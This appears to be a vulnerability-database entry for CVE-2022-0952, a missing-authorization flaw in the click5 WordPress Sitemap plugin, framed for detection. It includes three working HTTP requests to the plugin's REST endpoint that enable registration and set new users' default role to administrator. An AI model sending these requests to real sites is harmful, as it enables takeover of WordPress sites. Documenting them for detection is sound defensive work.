🔙 목록으로 돌아가기

CVE-2022-0952: WordPress Sitemap by click5 <1.0.36 - Missing Authorization

TitleWordPress Sitemap by click5 <1.0.36 - Missing Authorization
Authorrandom-robbie
SeverityHigh
ImpactAn attacker can exploit this vulnerability to gain unauthorized access to sensitive information.
RemediationUpdate to the latest version of the WordPress Sitemap plugin by click5 (1.0.36 or higher) to fix the missing authorization issue.
CVSS Score8.8
EPSS Score0.89187
CVE IDCVE-2022-0952
CWE IDCWE-352
Tags cve cve2022 wp wp-plugin sitemap wpscan wordpress sitemap_project vkev vuln

🔍 Vulnerability Description

WordPress Sitemap by click5 plugin before 1.0.36 is susceptible to missing authorization. The plugin does not have authorization or CSRF checks when updating options via a REST endpoint and does not ensure that the option to be updated belongs to the plugin. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Content-Length: 26
Content-type: application/json;charset=UTF-8
Accept-Encoding: gzip

{"users_can_register":"1"}
POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15
Connection: close
Content-Length: 32
Content-type: application/json;charset=UTF-8
Accept-Encoding: gzip

{"default_role":"administrator"}
POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 26
Content-type: application/json;charset=UTF-8
Accept-Encoding: gzip

{"users_can_register":"0"}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0952.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0952.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A